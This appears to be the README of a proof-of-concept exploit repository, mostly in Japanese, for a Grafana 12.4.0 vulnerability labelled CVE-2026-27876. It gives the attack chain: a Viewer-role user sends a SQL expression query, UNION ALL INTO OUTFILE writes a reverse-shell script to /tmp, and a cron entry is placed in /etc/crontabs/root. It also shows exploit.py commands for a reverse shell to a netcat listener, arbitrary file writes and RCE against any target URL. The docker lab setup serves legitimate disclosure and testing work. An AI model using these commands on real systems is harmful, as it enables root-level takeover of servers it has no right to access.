(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'

1. 認証（Viewerロールで十分）
2. __expr__データソース、type "sql"でPOST /api/ds/query
3. UNION ALL INTO OUTFILEでリバースシェルスクリプトを/tmp/に書き込み
4. 2回目の書き込みでcronエントリを/etc/crontabs/rootに配置
5. cronが60秒以内に発火 -> rootとしてリバースシェル

cd lab/
docker compose up -d
# Grafanaが正常になるまで待機（約15秒）

nc -lvnp 4444

cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444

# ターゲットが脆弱かどうかを確認（書き込みなし）
python3 exploit.py -t http://TARGET:3000 --check

# 任意のファイルを書き込み
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

# ローカルファイルをターゲットに書き込み
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

# データソースプロビジョニングによるRCE（cron不要）
python3 exploit.py -t http://TARGET:3000 --rce

docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh

.
├── README.md
├── analysis.md              # 根本原因の完全な分析
├── lab/
│   ├── docker-compose.yml   # Grafana 12.4.0ラボ（確認済み）
│   ├── Dockerfile           # cronサポート付きカスタムイメージ
│   ├── entrypoint.sh        # crond + Grafanaを起動
│   └── setup.sh             # 自動セットアップスクリプト
└── poc/
    ├── exploit.py           # RCE付き完全なPoC
    └── cvss-justification.md